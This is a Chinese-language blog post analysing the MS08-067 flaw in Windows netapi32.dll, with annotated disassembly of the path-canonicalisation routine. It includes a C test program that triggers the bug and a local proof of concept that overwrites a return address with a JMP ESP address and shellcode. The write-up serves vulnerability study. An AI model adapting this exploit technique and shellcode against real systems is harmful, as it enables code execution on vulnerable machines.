ms08-067分析
发表于更新于
字数总计:1.4k阅读时长:7分钟 中国
简要分析
漏洞在netapi32.dll中的导出函数NetpwNameCanonicalize的子函数CanonicalizePathName中。
CanonicalizePathName函数对路径合并的后的字符进以下的一些处理:
- 将字符串中的”/“转化成”\”:
1 2 3 4 5 6 7 8 9 10 11 12 13
| .text:5FDDA1F8 rep_slash_loop: .text:5FDDA1F8 cmp word ptr [eax], 2Fh .text:5FDDA1FC jz slash_to_back_slash
.text:5FDDA202 slash_to_back_forward: .text:5FDDA202 inc eax .text:5FDDA203 inc eax .text:5FDDA204 cmp word ptr [eax], 0 .text:5FDDA208 jnz short rep_slash_loop
.text:5FDE88EF slash_to_back_slash: .text:5FDE88EF mov word ptr [eax], 5Ch .text:5FDE88F4 jmp slash_to_back_forward
|
- 调用函数CheckDosPathType,检查合并路径的DOS路径类型:
1 2 3 4 5 6 7 8 9 10
| text:5FDDA20A chk_dos_path_type: .text:5FDDA20A lea eax, [ebp+Dest] .text:5FDDA210 call CheckDosPathType .text:5FDDA215 test eax, eax .text:5FDDA217 jnz short chk_buf_len .text:5FDDA219 lea eax, [ebp+Dest] .text:5FDDA21F push eax .text:5FDDA220 call RemoveLegarcyFolder .text:5FDDA225 test eax, eax .text:5FDDA227 jz short err_invalid_name
|
- RemoveLegacyFolder函数中存在溢出的漏洞,RemoveLegacyFolder返回后,如果返回非零,表示合并路径已符合要求,若其长度未超过maxbuf,即可复制至can_path中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| .text:5FDDA20A chk_dos_path_type: .text:5FDDA20A lea eax, [ebp+Dest] .text:5FDDA210 call CheckDosPathType .text:5FDDA215 test eax, eax .text:5FDDA217 jnz short chk_buf_len .text:5FDDA219 lea eax, [ebp+Dest] .text:5FDDA21F push eax .text:5FDDA220 call RemoveLegarcyFolder .text:5FDDA225 test eax, eax .text:5FDDA227 jz short err_invalid_name .text:5FDDA229 .text:5FDDA229 chk_buf_len: .text:5FDDA229 lea eax, [ebp+Dest] .text:5FDDA22F push eax .text:5FDDA230 call esi .text:5FDDA232 lea eax, [eax+eax+2] .text:5FDDA236 cmp eax, [ebp+arg_C_maxbuf] .text:5FDDA239 pop ecx .text:5FDDA23A ja chk_retsize .text:5FDDA240 lea eax, [ebp+Dest] .text:5FDDA246 push eax .text:5FDDA247 push [ebp+Outbuf] .text:5FDDA24D call ds:__imp_wcscpy .text:5FDDA253 pop ecx .text:5FDDA254 pop ecx .text:5FDDA255 xor eax, eax .text:5FDDA257 .text:5FDDA257 chk_security_cookie: .text:5FDDA257 .text:5FDDA257 mov ecx, [ebp+security_cookie] .text:5FDDA25A pop edi .text:5FDDA25B pop esi .text:5FDDA25C pop ebx .text:5FDDA25D call chk_fail .text:5FDDA262 leave .text:5FDDA263 retn 14h
.text:5FDE88F9 chk_retsize: .text:5FDE88F9 mov ecx, [ebp+ret_size] .text:5FDE88FF test ecx, ecx .text:5FDE8901 jz short NERR_BufTooSmall .text:5FDE8903 mov [ecx], eax .text:5FDE8905 .text:5FDE8905 NERR_BufTooSmall: .text:5FDE8905 mov eax, 84Bh .text:5FDE890A jmp chk_security_cookie
|
关键漏洞点在移除经典目录中的函数中:
1 2 3 4 5 6 7 8 9
| .text:5FDE87F8 update_current_slash_after_copy: .text:5FDE87F8 mov [ebp+cur_slash], edi .text:5FDE87FB mov esi, edi .text:5FDE87FD lea eax, [edi-2] .text:5FDE8800 jmp short check_previous_slash_after_copy .................... .text:5FDE8809 check_previous_slash_after_copy: .text:5FDE8809 cmp word ptr [eax], '\' .text:5FDE880D jnz short loop_search_previous_slash
|
这里eax作为向前搜索经典目录中的”\”的初始指针,edi指向经典目录中,相对于eax的往前第二个”\”,用来移除经典目录中的”..\”,但是在这里并没有对eax的地址做边界检查,会导致eax存储一个非预期的地址。
在这之后函数进行循环搜索”\”并在过程的开始对eax做边界检查,但此时已经于事无补,因为此时eax若在之前是越过边界则已经不会与arg_path相等,此时就会不断的在内存空间里每2个字节的往前找”\”(0x5C),直到找到才会停止:
1 2 3 4 5
| .text:5FDE8802 loop_search_previous_slash: .text:5FDE8802 cmp eax, [ebp+arg_path] .text:5FDE8805 jz short loc_5FDE880F .text:5FDE8807 dec eax .text:5FDE8808 dec eax
|
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include <windows.h> #include <stdio.h> typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD); int main(int argc, char* argv[]) { WCHAR path[256]; WCHAR can_path[256]; DWORD type = 1000; int retval; HMODULE handle = LoadLibrary(".\\netapi32.dll"); MYPROC Trigger = NULL; if (NULL == handle) { wprintf(L"Fail to load library!\n"); return -1; } Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize"); if (NULL == Trigger) { FreeLibrary(handle); wprintf(L"Fail to get api address!\n"); return -1; } path[0] = 0; wcscpy(path, L"\\aaa\\..\\..\\bbbb"); can_path[0] = 0; type = 1000; wprintf(L"BEFORE: %s\n", path); retval = (Trigger)(path, can_path, 1000, NULL, &type, 1); wprintf(L"AFTER : %s\n", can_path); wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval); FreeLibrary(handle); return 0; }
|
当eax越界后,在低地址找到”0x5C”后,内存布局如下:
此时eax远小于esp,若当再次调用某个函数,开辟栈空间时,溢出的经典目录部分就可以覆盖掉函数返回地址,这里接下来的是wcscpy进行字符复制函数,这就有可能将函数的返回地址进行修改:
测试的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| #include <windows.h> #include <stdio.h> typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
#define JMP_ESP "\x23\xfd\xe0\x5f\x00\x00"
#define SHELL_CODE \ "\x90\x90\x90\x90" \ "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"\ "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"\ "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"\ "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"\ "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"\ "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"\ "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"\ "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"\ "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"\ "\x53\x68\x74\x65\x73\x74\x68\x6D\x69\x78\x69\x8B\xC4\x53\x50\x50"\ "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"\
int main(int argc, char* argv[]) { WCHAR path[256]; WCHAR can_path[256]; DWORD type = 1000; int retval; HMODULE handle = LoadLibrary(".\\netapi32.dll"); MYPROC Trigger = NULL; if (NULL == handle) { wprintf(L"Fail to load library!\n"); return -1; } Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize"); if (NULL == Trigger) { FreeLibrary(handle); wprintf(L"Fail to get api address!\n"); return -1; } path[0] = 0; wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); wcscat(path, (wchar_t *)JMP_ESP); wcscat(path, (wchar_t *)SHELL_CODE); can_path[0] = 0; type = 1000; wprintf(L"BEFORE: %s\n", path); retval = (Trigger)(path, can_path, 1000, NULL, &type, 1); wprintf(L"AFTER : %s\n", can_path); wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval); FreeLibrary(handle); return 0; }
|